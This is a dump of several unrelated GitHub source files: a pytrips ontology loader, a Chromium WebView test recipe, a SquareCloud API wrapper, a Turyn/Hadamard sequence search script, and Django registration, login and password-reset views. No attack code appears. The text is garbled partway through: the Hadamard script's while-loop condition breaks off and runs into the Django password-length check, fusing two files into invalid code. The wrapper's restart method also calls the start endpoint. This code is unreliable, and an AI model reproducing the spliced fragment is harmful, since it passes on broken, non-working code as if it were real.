re.compile(\".*-wn\\d{5}$\")\n_gls = lambda x: re.match(_gls_re, x.lower())\n\n\ndef _is_query_pair(x):\n if type(x) is tuple and len(x) == 2:\n return (type(x[0]) in set([str, TripsType])) and (type(x[1] == str))\n return False\n\ndef load_json(ontology, lexicon, use_gloss=False, stop=[], go=[]):\n self = Trips(stop=stop, go=go)\n ontology = ontology.values() # used to be a list, now is a dict\n self.max_wn_depth = 5 # override this for more generous or controlled lookups\n self._data = {}\n self._data['root'] = TripsType(\"root\", None, [], [], [], [], TripsSem(type_=\"root\", ont=self), [], self)\n revwords = ddict(set)\n self._words = ddict(lambda: ddict(set))\n self._wordnet_index = ddict(list)\n self.__definitions = ddict(list)\n if lexicon:\n for word, entry_list in lexicon[\"words\"].items():\n for entry in entry_list:\n # Gather name, entries, pos\n name = entry[\"name\"].lower()\n #cat = entry[\"cat\"].lower()\n entries = lexicon[\"entries\"][entry[\"entry\"]]\n pos = entries['pos'].lower()\n # TODO: incorporate the lexicon\n if not use_gloss:\n # skip gloss-derived entries if not use_gloss\n entries['senses'] = [s for s in entries.get('senses', []) if not _gls(s.get(\"lf_parent\", \"\"))]\n else:\n entries[\"senses\"] = entries.get(\"senses\", [])\n if len(entries['senses']) > 1:\n logger.info(entries[\"name\"] + \" has \" + str(len(entries[\"senses\"])) + \" senses\")\n for values in entries[\"senses\"]:\n if \"lf_parent\" not in values.keys():\n c = \"no_parent\"\n else:\n c = values[\"lf_parent\"].lower()\n self._words[pos][word.lower()].add(c)\n revwords[c].add((word+\".\"+pos).lower())\n\n for s in ontology:\n if not use_gloss:\n if _gls(s[\"name\"].lower()):\n # skip gloss-derived times\n continue\n if s.get(\"children\"):\n # filter out gloss-derived children\n s[\"children\"] = [x for x in s[\"children\"] if not _gls(x)]\n arguments = [TripsRestriction(x[\"role\"],\n x.get(\"restriction\", []),\n str(x[\"optionality\"]), self)\n for x in s.get('arguments', [])]\n sem_ = s.get(\"sem\", {})\n _d = lambda y: {a.lower(): b for a, b in sem_.get(y, [])}\n sem = TripsSem(_d(\"features\"), _d(\"default\"), sem_.get(\"type\", \"\").lower(), self)\n t = TripsType(\n s['name'],\n s.get('parent', \"ROOT\"),\n s.get('children', []),\n list(revwords[s['name'].lower()]),\n s.get('wordnet_sense_keys', []),\n arguments,\n sem,\n s.get('definitions', []),\n self\n )\n self._data[t.name] = t\n for k in s.get('wordnet_sense_keys', []):\n #k = get_wn_key(k) # won't need to do this if I normalize sense_keys to start with\n if k:\n self._wordnet_index[k].append(t)\n\n if t.definitions:\n self.__definitions[json.dumps(t.definitions)].append(t.name)\n return self\n\nclass Trips(object):\n def __init__(self, stop=None, go=None):\n self._data=None\n self._words=None\n self._wordnet_index=None\n self.__definitions=None\n self._all_words = None\n self.__query_cache = {}\n if stop:\n if not go:\n go = []\n self.stop = [s for s in stop if s not in go]\n self.use_stop = True\n else:\n self.stop = []\n self.use_stop = False\n\n def get_trips_type(self, name):\n \"\"\"Get the trips type associated with the name\"\"\"\n name = name.split(\"ont::\")[-1].lower()\n return self._data.get(name, None)\n\n def get_word(self, word, pos=None):\n \"\"\"Lookup all possible types for a word.\"\"\"\n word = word.split(\"w::\")[-1].lower()\n if pos:\n index = self._words[pos][word]\n else:\n index = set()\n for pos, words in self._words.items():\n index.update(words[word])\n return [self[x] for x in index if self[x]]\n\n @property\n def all_words(self):\n if not self._all_words:\n self._all_words = sum([list(self._words[p]) for p in self._words], [])\n return self._all_words\n\n def get_part_of_speech(self, pos, lex):\n \"\"\"Lookup all possible types or lexical items for the given part of speech\"\"\"\n pos = pos.split(\"p::\")[-1]\n words = self._words[pos].keys()\n if lex:\n return words\n res = []\n for x in words:\n res += self.get_word(x, pos=pos)\n return list(set(res))\n\n def get_word_graph(self, word, pos=None, use_stop=None):\n if use_stop is None:\n use_stop = self.use_stop\n graph = NodeGraph(default_node_attr={\"shape\": \"rectangle\"})\n senses = wn.lemmas(word, pos=pos)\n if pos:\n word = word + \".\" + pos\n graph.node(word)\n for l in senses:\n attrs = {}\n key = \"wn::%s\" % l.key()\n label = l.key()\n if l.key().lower() in self.stop:\n attrs[\"style\"] = \"filled\"\n attrs[\"fillcolor\"] = \"red\"\n graph.node(key, attrs=attrs, label=key)\n graph.edge(word, key)\n if use_stop:\n senses = [s for s in senses if s.key().lower() not in self.stop]\n for s in senses:\n n, graph = self.get_wordnet(s.synset(), graph=graph, parent=s.key())\n return graph\n\n def get_wordnet(self, key, max_depth=-1, graph=None, parent=None, relation=None):\n \"\"\"Get types provided by wordnet mappings\"\"\"\n def _return(val):\n if graph:\n return (val, graph)\n return val\n\n if graph == True:\n graph = NodeGraph()\n\n if max_depth == -1:\n max_depth = self.max_wn_depth\n elif max_depth == 0:\n return _return([])\n\n if type(key) is str:\n key = get_wn_key(key)\n if not key:\n return _return([])\n\n if graph:\n graph.node(key)\n if parent:\n if relation:\n attr = {}\n if relation == \"instance-hypernym\":\n attr[\"color\"] = \"red\"\n graph.edge(parent, key, attrs=attr)\n else:\n graph.edge(\"wn::\"+parent, key, noloop=True)\n res = []\n if ss_to_sk(key) in self._wordnet_index:\n res = self._wordnet_index[ss_to_sk(key)][:]\n if graph:\n for r in res:\n graph.node(r)\n graph.edge(key, r)\n else: #if (key.lemmas()[0].key().lower() not in self.stop) or not use_stop:\n res = set()\n for k, i in all_hypernyms(key):\n n = self.get_wordnet(k, max_depth=max_depth-1, graph=graph, parent=key, relation=i)\n if graph:\n n, graph = n\n res.update(n)\n return _return(res)\n\n def lookup(self, word, pos, use_stop=None):\n \"\"\"pos should be one of \"n\" (noun) \"v\" (verb), \"a\" (adjective), \"r\" (adverb), \"s\" (satellite)\"\"\"\n #TODO what kind of information does this need in general?\n if use_stop is None:\n use_stop = self.use_stop\n word = word.split(\"q::\")[-1]\n #1 get word lookup\n w_look = self.get_word(word, pos=pos)\n #2 get wordnet\n wnlook = set()\n if wn:\n keys = wn.lemmas(word, pos=pos)\n if use_stop:\n keys = [s for s in keys if s.key().lower() not in self.stop]\n keys = [s.synset() for s in keys]\n for k in keys:\n wnlook.update(self.get_wordnet(k))\n return {\"lex\" : w_look, \"wn\": list(wnlook)}\n\n def get_definition(self, name):\n \"\"\"Get types that contain the given name in their definitions\n \"\"\"\n name = name.split(\"d::\")[-1].split(\"ont::\")[-1].upper() #definitions are in uppercase, names are in lower case.\n return list(set([\"ont::\"+df for lst in self.__definitions.keys() for df in self.__definitions[lst] if \"\"+name+\"\" in lst]))\n\n def __getitem__(self, key):\n \"\"\"if the input is \"w::x\" lookup x as a word\n if the input is \"ont::x\" lookup x as a type\n if the input is \"wn::x\" lookup x as a wordnet sense\n else lookup as an ont type.\n \"\"\"\n if key not in self.__query_cache:\n self.__query_cache[key] = self.make_query(key)\n return self.__query_cache[key]\n\n def make_query(self, key):\n pos = None\n if _is_query_pair(key):\n key, pos = key\n if type(key) is TripsType:\n return key\n if type(key) is Synset:\n return self.get_wordnet(key)\n elif type(key) is not str:\n return None\n if key is None:\n return None\n key = key.lower()\n if key.startswith(\"w::\"):\n return self.get_word(key, pos=pos)\n elif key.startswith(\"wn::\"):\n return self.get_wordnet(key)\n elif key.startswith(\"q::\"):\n return self.lookup(key, pos=pos)\n elif key.startswith(\"p::\"):\n return self.get_part_of_speech(key, lex=pos)\n elif key.startswith(\"d::\") and self.get_trips_type(key.split(\"d::\")[-1]):\n return self.get_definition(key)\n else:\n return self.get_trips_type(key)\n\n def __iter__(self):\n \"\"\"return an iterator with all the types.\"\"\"\n # TODO: guarantee order\n return self._data.values()\n\n\ndef load(skip_lexicon=False, use_gloss=False, log=False):\n if not log:\n logging.disable(logging.CRITICAL)\n if use_gloss:\n logger.info(\"loading gloss-derived ontology\")\n else:\n logger.info(\"loading regular ontology\")\n\n logger.info(\"Loading ontology\")\n\n ont = jsontrips.ontology()\n\n logger.info(\"Loaded ontology\")\n logger.info(\"Loading lexicon\")\n \n if skip_lexicon:\n lex = {}\n else:\n lex = jsontrips.lexicon()\n\n logger.info(\"Loaded lexicon\")\n return load_json(ont, lex, use_gloss=use_gloss, stop=jsontrips.stoplist(), go=jsontrips.golist())\n\n__ontology__ = {}\n\ndef get_ontology(skip_lexicon=False, use_gloss=False, single=False, log=False):\n global __ontology__\n if not __ontology__.get(use_gloss):\n __ontology__[use_gloss] = load(skip_lexicon=skip_lexicon, use_gloss=use_gloss, log=log)\n if single:\n __ontology__[not use_gloss] = __ontology__[use_gloss]\n return __ontology__[use_gloss]\n","repo_name":"mrmechko/pytrips","sub_path":"pytrips/ontology.py","file_name":"ontology.py","file_ext":"py","file_size_in_byte":11356,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"428456955","text":"from recipe_engine.types import freeze\n\nDEPS = [\n 'adb',\n 'bot_update',\n 'chromium',\n 'chromium_android',\n 'gclient',\n 'json',\n 'path',\n 'properties',\n 'python',\n 'step',\n]\n\nREPO_URL = 'https://chromium.googlesource.com/chromium/src.git'\n\nWEBVIEW_APK = 'SystemWebView.apk'\n\nWEBVIEW_SHELL_APK = 'SystemWebViewShell.apk'\n\nINSTRUMENTATION_TESTS = freeze([\n {\n 'test': 'SystemWebViewShellLayoutTest',\n 'gyp_target': 'system_webview_shell_layout_test_apk',\n 'kwargs': {\n 'install_apk': {\n 'package': 'org.chromium.webview_shell.test',\n 'apk': 'SystemWebViewShellLayoutTest.apk'\n },\n 'isolate_file_path':\n 'android_webview/system_webview_shell_test_apk.isolate',\n },\n },\n])\n\n\ndef RunSteps(api):\n api.chromium_android.configure_from_properties('webview_perf',\n REPO_NAME='src',\n REPO_URL=REPO_URL,\n INTERNAL=False,\n BUILD_CONFIG='Release')\n\n # Sync code.\n api.gclient.set_config('perf')\n api.gclient.apply_config('android')\n api.bot_update.ensure_checkout(force=True)\n api.chromium_android.clean_local_files()\n\n # Gyp the chromium checkout.\n api.chromium.runhooks()\n\n # Build the WebView apk, WebView shell, WebView shell layout test apk\n # and Android testing tools.\n api.chromium.compile(targets=['system_webview_apk',\n 'system_webview_shell_apk',\n 'system_webview_shell_layout_test_apk',\n 'android_tools'])\n\n api.chromium_android.spawn_logcat_monitor()\n api.chromium_android.device_status_check()\n api.chromium_android.provision_devices(\n min_battery_level=95, disable_network=True, disable_java_debug=True,\n reboot_timeout=180)\n\n # Install system WebView.\n api.chromium_android.adb_install_apk(WEBVIEW_APK)\n\n # Install system WebView shell\n api.chromium_android.adb_install_apk(WEBVIEW_SHELL_APK)\n\n api.adb.list_devices()\n\n # Run the instrumentation tests from the package.\n run_tests(api)\n\n api.chromium_android.logcat_dump()\n api.chromium_android.stack_tool_steps()\n api.chromium_android.test_report()\n\ndef run_tests(api):\n droid = api.chromium_android\n for suite in INSTRUMENTATION_TESTS:\n droid.run_instrumentation_suite(suite['test'], verbose=True,\n **suite.get('kwargs', {}))\n\ndef GenTests(api):\n yield api.test('basic') + api.properties.scheduled()\n","repo_name":"petrutlucian94/adt-infra","sub_path":"build/scripts/slave/recipes/android_webview_shell_tests.py","file_name":"android_webview_shell_tests.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"294583670","text":"\"\"\"This module is an unofficial wrapper for using the SquareCloud API\"\"\"\nfrom typing import Any\nimport requests\nfrom requests.models import Response\n\nfrom .logs import logger\n\n\n_BASE_URL = 'https://api.squarecloud.app/v1/public'\n\ndef _raise_request_error(\n request: Response, \n extra: dict[Any, Any] | None=None\n) -> None:\n try:\n request.raise_for_status()\n except requests.HTTPError as exc:\n data = request.json()\n msg = data['code']\n logger.error(msg=msg, extra=extra)\n raise exc\n\ndef _get_response(request: Response) -> dict[str, Any]:\n \"\"\"takes the response of the resquest\n\n Parameters\n ----------\n request : Response\n a request object\n\n Returns\n -------\n dict[str, Any]\n a dictionary containing the request response\n \"\"\"\n data = request.json()\n response = data['response']\n return response\n\ndef _request_get(\n path: str,\n api_key: str,\n extra: dict[Any, Any] | None=None,\n try_raise: bool=True\n) -> Response:\n \"\"\"make a get request to SquareCloudAPI and return the data\n\n Parameters\n ----------\n path : str\n the path to be used with the base url\n api_key : str\n the api key to acess the api\n\n Returns\n -------\n Any\n return the request response\n \"\"\"\n headers = {'Authorization': api_key}\n request = requests.get(url=f'{_BASE_URL}/{path}', headers=headers, timeout=60)\n if try_raise:\n _raise_request_error(request=request, extra=extra)\n return request\n\ndef _request_post(\n path: str, \n api_key: str, \n extra: dict[Any, Any] | None=None, \n try_raise: bool=True\n) -> Response:\n \"\"\"make a post request to SquareCloudAPI and return the data\n\n Parameters\n ----------\n path : str\n the path to be used with the base url\n api_key : str\n the api key to acess the api\n\n Returns\n -------\n Any\n return the request response\n \"\"\"\n headers = {'Authorization': api_key}\n request = requests.post(url=f'{_BASE_URL}/{path}', headers=headers, timeout=60)\n if try_raise:\n _raise_request_error(request=request, extra=extra)\n return request\n\n\nclass SquareApp:\n \"\"\"represents a square application\"\"\"\n def __init__(self, api_key: str, app_id: int) -> None:\n self.api_key = api_key\n self.app_id = app_id\n\n def info_dict(self) -> dict[str, Any]:\n \"\"\"a method to get your app status\n\n Parameters\n ----------\n app_id : int\n the application id\n\n Returns\n -------\n Any\n a dictionary with your app status\n \"\"\"\n path = f'status/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_get(path=path, api_key=self.api_key, extra=extra)\n info = request.json()\n return info\n\n def logs(self) -> str | None:\n \"\"\"get a resume of your application logs\n\n Parameters\n ----------\n app_id : int\n your application id\n\n Returns\n -------\n str\n a string with your logs\n \"\"\"\n path = f'logs/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_get(path=path, api_key=self.api_key, extra=extra, try_raise=False)\n if request:\n response = _get_response(request=request)\n logs = response['logs']\n return logs\n\n def logs_complete(self) -> str | None:\n \"\"\"get a url with the full logs\n\n Returns\n -------\n str\n a string with the logs url\n \"\"\"\n path = f'logs-complete/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_get(path=path, api_key=self.api_key, extra=extra, try_raise=False)\n if request:\n response = _get_response(request=request)\n logs = response['logs']\n return logs\n\n def is_running(self) -> bool:\n \"\"\"check if the applications is running\n\n Returns\n -------\n bool\n a boolean\n \"\"\"\n path = f'status/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_get(path=path, api_key=self.api_key, extra=extra)\n response = _get_response(request=request)\n running = response['running']\n return running\n\n def backup(self) -> str:\n \"\"\"made a backup\n\n Returns\n -------\n str\n the beckup url\n \"\"\"\n path = f'backup/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_get(path=path, api_key=self.api_key, extra=extra)\n data = _get_response(request=request)\n url = data['downloadURL']\n msg = f'a new backup has been made: \\033[4;33m{url}\\033[m'\n logger.info(msg=msg, extra=extra)\n return url\n\n def start(self) -> bool:\n \"\"\"start the application\n\n Returns\n -------\n bool\n return a boolean\n \"\"\"\n path = f'start/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_post(path=path, api_key=self.api_key, extra=extra)\n data = request.json()\n msg = f'STARTED {data[\"message\"]}'\n logger.info(msg=msg, extra=extra)\n return bool(request)\n\n def stop(self) -> bool:\n \"\"\"stop the application\n\n Returns\n -------\n bool\n return a boolean\n \"\"\"\n path = f'stop/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_post(path=path, api_key=self.api_key, extra=extra)\n data = request.json()\n msg = f'STOPPED {data[\"message\"]}'\n logger.info(msg=msg, extra=extra)\n return bool(request)\n \n def restart(self):\n \"\"\"_summary_\n\n Returns\n -------\n _type_\n _description_\n \"\"\"\n path = f'start/{self.app_id}'\n extra = {'id': self.app_id}\n request = _request_post(path=path, api_key=self.api_key, extra=extra)\n data = request.json()\n msg = f'RESTARTED {data[\"message\"]}'\n logger.info(msg=msg, extra=extra)\n return bool(request)\n\n\nclass Api:\n \"\"\"the square api\"\"\"\n def __init__(self, api_key: str) -> None:\n self.api_key = api_key\n\n def get_app(self, app_id: int) -> SquareApp:\n \"\"\"get an application object\n\n Parameters\n ----------\n app_id : int\n the application id\n\n Returns\n -------\n SquareApp\n returns an application object\n \"\"\"\n return SquareApp(self.api_key, app_id)\n\n def user_info(self, user_id: int | None=None) -> dict[str, Any]:\n \"\"\"show informations about a user\n\n Parameters\n ----------\n user_id : int\n the user id\n\n Returns\n -------\n dict[str, Any]\n a dictionary containing the informations\n \"\"\"\n path = f'user'\n extra = {'id': user_id}\n request = _request_get(path=path, api_key=self.api_key, extra=extra)\n response = _get_response(request=request)\n return response\n","repo_name":"Robert-Nogueira/square-py","sub_path":"square/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36972507859","text":"# ------------------------------------------------------------------------\r\n# Work-flow\r\n# ------------------------------------------------------------------------\r\n# 1. Find Turyn-Type sequences: TT_algo-> {X,Y,Z,W}\r\n# 2. Create base-sequences: {X,Y,Z,W} -> {A,B,C,D}\r\n# 3. Create T-sequences: {A,B,C,D}->{T1,T2,T3,T4}\r\n# 4. Create seed sequences: {T1,T2,T3,T4} -> {A1,A2,A3,A4}\r\n# 5. Create circular matrices: {A1,A2,A3,A4}->{XA1,XA2, XA3, XA4}\r\n# 6. Construct Hadamard matrix:\r\n# H=[ A1 A2*R A3*R A4*R;\r\n# -A2*R A1 A4'*R -A3'*R;\r\n# -A3*R -A4'*R A1 A2'*R;\r\n# -A4*R A3'*R -A2'*R A1];\r\n# where R is back-diagonal identity matrix, eg.: \r\n# R = [ 0 0 1; \r\n# 0 1 0;\r\n# 1 0 0]\r\n# ------------------------------------------------------------------------\r\nfrom prb_small_williamson import *\r\nfrom prb_turyn import *\r\nfrom prb_generate_XYZW import *\r\n# #\r\ndef construct_XY_antisymm(q,xo,yo,N):\r\n NO=len(xo)\r\n NO05=int(NO/2)\r\n NX=N-2*NO05\r\n NX05=int(NX/2)\r\n #--\r\n x=np.zeros([N,1])\r\n y=np.zeros([N,1])\r\n # prefill\r\n x[0:NO05,0]=xo[0:NO05,0]\r\n x[NX+NO05:N,0]=xo[NO05:NO,0]\r\n #\r\n y[0:NO05,0]=yo[0:NO05,0]\r\n y[NX+NO05:N,0]=yo[NO05:NO,0]\r\n \r\n # fill with SA-vector-q \r\n x[NO05:NX+NO05,0]=q[0:NX]\r\n ty=q[NX:NX+NX05]\r\n # --[first half of y]\r\n y[NO05:NX05+NO05,0]=ty[0:NX05]\r\n for m in range(NX05):\r\n tq=-1*x[NO05+m]*x[N-1-NO05-m]*y[NO05+m]\r\n y[N-1-NO05-m,0]=tq\r\n #--\r\n return(x,y)\r\n##\r\n#\r\ndef int_to_spin(q,N):\r\n # fill bitswith 0's or spin -1\r\n x=[-1 for x in range(N)]\r\n t=[int(x) for x in bin(q)[2:]]\r\n #\r\n NB=len(t)\r\n for n in range(NB):\r\n t[n]=int(2*(t[n]-0.5))\r\n # \r\n x[N-len(t):N]=t[0:len(t)]\r\n return(x)\r\n#\r\n##\r\nif __name__=='__main__':\r\n N=36 #4,6, ...even number\r\n # generate XYZW sequence, delete some sy entries, try to recover by SA\r\n X,Y,Z,W=generate_XYZW_36()\r\n #\r\n N05=int(N/2)\r\n P=N-1\r\n M=4*(3*N-1) # order of H-matrix\r\n # assume original-> extended \r\n NX=10\r\n NO=N-NX\r\n #\r\n NX05=int(NX/2)\r\n NO05=int(NO/2)\r\n xo=np.zeros([NO,1])\r\n yo=np.zeros([NO,1])\r\n # simulate original x and y, before extension\r\n # [NO05;NX05;NX05;NO05]\r\n xo[0:NO05,0]=X[0:NO05]\r\n xo[NO05:NO,0]=X[NO05+NX:N]\r\n #\r\n yo[0:NO05,0]=Y[0:NO05]\r\n yo[NO05:NO,0]=Y[NO05+NX:N]\r\n #\r\n # #-- lost string\r\n # x1=np.zeros([NX,1])\r\n # y1=np.zeros([NX,1])\r\n # # y1=np.zeros([NX05,1])\r\n # x1[0:NX,0]=X[NO05:NO05+NX]\r\n # y1[0:NX,0]=Y[NO05:NO05+NX]\r\n # use property xi*x_{n-1-i}+yi*y_{n-1-i}=0\r\n # or, since xi,yi={-,+}=> y_{n-1-i}= -(xi*x_{n-1-i})*yi \r\n NQ=int(3*NX/2) # number of unknown elements\r\n \r\n idx=0\r\n q=int_to_spin(idx,NQ)\r\n X,Y=construct_XY_antisymm(q,xo,yo,N)\r\n E=tt_energy_rev(X,Y,Z,W) \r\n epsilon=1e-6\r\n idx=0\r\n MAX_ITER=2**(NQ-1) # nb:1 million, for N=12->E=4.0\r\n while(not(E= 8 and len(pwd) <= 32:\n return True\n else:\n return False\n\n\ndef checkusrlen(usr):\n if len(usr) >= 5 and len(usr) <= 20:\n return True\n else:\n return False\n\n\n# 判断是否包含大写字母\ndef checkContainUpper(pwd):\n pattern = re.compile('[A-Z]+')\n match = pattern.findall(pwd)\n if match:\n return True\n else:\n return False\n\n\n# 判断是否包含数字\ndef checkContainNum(pwd):\n pattern = re.compile('[0-9]+')\n match = pattern.findall(pwd)\n if match:\n return True\n else:\n return False\n\n\n# 判断是否包含小写字母\ndef checkContainLower(pwd):\n pattern = re.compile('[a-z]+')\n match = pattern.findall(pwd)\n if match:\n return True\n else:\n return False\n\n\n# 判断是否包含符号\ndef checkSymbol(pwd):\n pattern = re.compile('([^a-z0-9A-Z])+')\n match = pattern.findall(pwd)\n if match:\n return True\n else:\n return False\n\n# 判断是否以字母开头\ndef checkTop(usr):\n pattern = re.compile('(^[a-zA-Z])')\n match = pattern.findall(usr)\n if match:\n return True\n else:\n return False\n\n\n# 检查密码是否合法\ndef checkPassword(pwd):\n # 判断密码长度是否合法\n lenOK = checkpwdlen(pwd)\n # 判断是否包含大写字母\n upperOK = checkContainUpper(pwd)\n # 判断是否包含小写字母\n lowerOK = checkContainLower(pwd)\n # 判断是否包含数字\n numOK = checkContainNum(pwd)\n # 判断是否包含符号\n symbolOK = checkSymbol(pwd)\n return (lenOK and upperOK and lowerOK and numOK and symbolOK)\n\n\n# **************************************************密码格式检查函数定义************************************************OK\n\n\n# *************************************************用户名nickname格式筛查***********************************************OK\n# 检查用户名是否合法\ndef checkUsername(usr):\n # 判断用户名长度是否合法\n lenOK = checkusrlen(usr)\n topOK=checkTop(usr)\n if lenOK and topOK:\n return True\n else:\n return False\n\n\n# ************************************************用户名nickname格式筛查************************************************OK\n\n\n# **********************************************************************************************************************\n\n\n# ************************************************邮箱格式筛查函数定义**************************************************OK\n# 检查邮箱格式是否合法\ndef checkEmailOK(E):\n if re.match(r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\\.[com,cn,net,org]{1,3}$', E):\n return True\n else:\n return False\n\n\n# 过滤邮箱\ndef checkEmailBlack(E):\n Blacklist = ['bccto', 'dawin', 'chaichuang', 'jpgames', '3202', 'sltmail', '4057', 'vedmail', 'wca', 'juyouxi',\n 'oiizz', 'cr219', 'a7996', 'jnpayy', '819110', 'libivan', 'yidaiyiluwang', 'jiaxin8736',\n 'mailfavorite', 'disbox']\n for i in Blacklist:\n if not re.match('^((?!' + i + '\\.).)*$', E):\n return False\n return True\n\n\n# 检查邮箱(格式、域名)是否合法\ndef checkEmail(E):\n if checkEmailOK(E)and checkEmailBlack(E):\n return True\n else:\n return False\n\n\n# **********************************************邮箱格式筛查函数定义****************************************************OK\n\n# **********************************************************************************************************************\n\n# ******************************************************用户名验证********************************************************OK\ndef CheckUsername(request):\n ####请求方式:POST\n ####获取参数:nickname\n ####code返回值:\n # 请求失败:0;用户名允许注册:1;用户名已经注册:2;用户名不合法:3;\n try:\n # 用户名\n username = str(request.POST.get(\"username\"))\n # 验证用户名是否合法\n if not checkUsername(username):\n response = HttpResponse(json.dumps({\"code\": \"3\"}))\n else:\n # 验证用户名是否已经注册\n try:\n # 用户名已被注册\n usr = User.objects.get(username=username)\n response = HttpResponse(json.dumps({\"code\": \"2\"}))\n except Exception as e:\n #print(e)\n response = HttpResponse(json.dumps({\"code\": \"1\"}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\n\n# **********************************************************************************************************************\n\n# **************************************************登录密码检查********************************************************OK\ndef CheckPassword(request):\n ####请求方式:POST\n ####获取参数:password\n ####code返回值:\n # 请求失败:0;\n # 密码合法:1;\n # 密码不合法:2;\n try:\n # 获取密码\n password = str(request.POST.get(\"password\"))\n if checkPassword(password):\n response = HttpResponse(json.dumps({\"code\": \"1\"}))\n else:\n response = HttpResponse(json.dumps({\"code\": \"2\"}))\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\n# **************************************************登录密码验证********************************************************OK\n\n# **********************************************************************************************************************\n\n# ***************************************************邮箱审查***********************************************************OK\ndef CheckEmail(request):\n ####请求方式:POST\n ####获取参数:Email\n ####code返回值:\n # 请求失败:0;邮箱合法:1;邮箱已经注册:2;邮箱不合法:3;\n try:\n # 收件邮箱\n Email = str(request.POST.get(\"Email\"))\n # 验证邮箱是否合法\n if not checkEmail(Email):\n response = HttpResponse(json.dumps({\"code\": \"3\"}))#邮箱不合法 不允许注册 不允许登录 不允许resetpwd\n else:\n # 验证邮箱是否已经注册\n try:\n usr = User.objects.get(Email=Email)\n if usr.registState==\"1\":\n response = HttpResponse(json.dumps({\"code\": \"2\"}))# 邮箱已被注册 不允许注册 允许登录 允许resetpwd\n else:\n response = HttpResponse(json.dumps({\"code\": \"4\"}))# 邮箱未激活 允许注册 不允许登录 不允许resetpwd\n except Exception as e:\n # print(e)\n response = HttpResponse(json.dumps({\"code\": \"1\"}))# 邮箱未注册 允许注册 不允许登录 不允许resetpwd\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))#SYSTEM ERROR\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\n# ************************************************邮箱审查**************************************************************OK\n\n# **********************************************************************************************************************\n\n# ***********************************************游客注册***************************************************************OK\n\ndef Register(request):\n try:\n ####请求方式:POST\n ####获取参数:Email;token;username;password;\n ####code返回值:\n # 请求失败:0;注册成功:1;验证码错误:2;验证码失效:3;\n token = str(request.POST.get(\"token\"))\n Email = str(request.POST.get(\"Email\"))\n username=str(request.POST.get(\"username\")).strip() #去掉字符串首尾指定字符(默认为空格或换行符)\n password = str(request.POST.get(\"password\"))\n if checkUsername(username)and checkPassword(str(request.POST.get(\"password\")))and checkEmail(Email):\n per = User.objects.get(Email=Email)\n time1=float(per.time1)\n time2 = float(per.time2)\n verficationCode=per.verficationCode\n # time3 介于Tim1与time2之间 开始验证验证码 反之验证码失效重新发送邮件\n # 时间\n import time\n time3 = time.time() # 当前秒数时间戳\n ## 验证码有效\n if time3>time1 and time3= 6:\n per.registState = 0\n per.save()\n response = HttpResponse(json.dumps({\"code\": \"3\",\"errortimes\":per.errortimes,\"registState\":per.registState}))\n elif per.registState==\"0\":\n response = HttpResponse(json.dumps({\"code\": \"4\"}))#账号异常已冻结\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"2\"}))#邮箱未注册\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\"\n response[\"Access-Control-Max-Age\"] = \"1000\"\n response[\"Access-Control-Allow-Headers\"] = \"*\"\n return response\n\n\n#******************************************************游客登录********************************************************OK\n\n#************************************************************************************************************************\n\n# *****************************************************密码重置********************************************************OK\n\ndef Resetpwd(request): # 密码重置\n try:\n ####请求方式:POST\n ####获取参数:Email;token;password;\n ####code返回值:\n # 请求失败:0;注册成功:1;验证码错误:2;验证码失效:3;\n token = str(request.POST.get(\"token\"))\n Email = str(request.POST.get(\"Email\"))\n password = str(request.POST.get(\"password\"))\n # print(request.POST)\n # print(password)\n if checkPassword(str(request.POST.get(\"password\"))) and checkEmail(Email):\n per = User.objects.get(Email=Email)\n time1 = float(per.time1)\n time2 = float(per.time2)\n verficationCode = per.verficationCode\n # time3 介于Tim1与time2之间 开始验证验证码 反之验证码失效重新发送邮件\n # 时间\n import time\n time3 = time.time() # 当前秒数时间戳\n ## 验证码有效\n if time3 > time1 and time3 < time2:\n # 验证码正确\n if token.strip() == verficationCode.strip():\n if per.id==0:\n response = HttpResponse(status=404)\n else:\n if (per.registState == \"0\")|(per.registState == \"1\"):\n # 更改registState=1\n per.registState = 1\n # 密码##########通过django自带的类库,来加密用户密码,同一明文每次生成的密文不同\n per.password = make_password(password)\n per.save()\n response = HttpResponse(json.dumps({\"code\": \"1\"}))\n else:\n response = HttpResponse(json.dumps({\"code\": \"4\"}))#账号异常\n else:\n response = HttpResponse(json.dumps({\"code\": \"2\"}))\n else:\n response = HttpResponse(json.dumps({\"code\": \"3\"}))\n else:\n response = HttpResponse(json.dumps({\"code\": \"0\",\"info\":\"ERROR\"})) # 验证失败\n except Exception as e:\n print(e)\n response = HttpResponse(json.dumps({\"code\": \"0\"}))\n 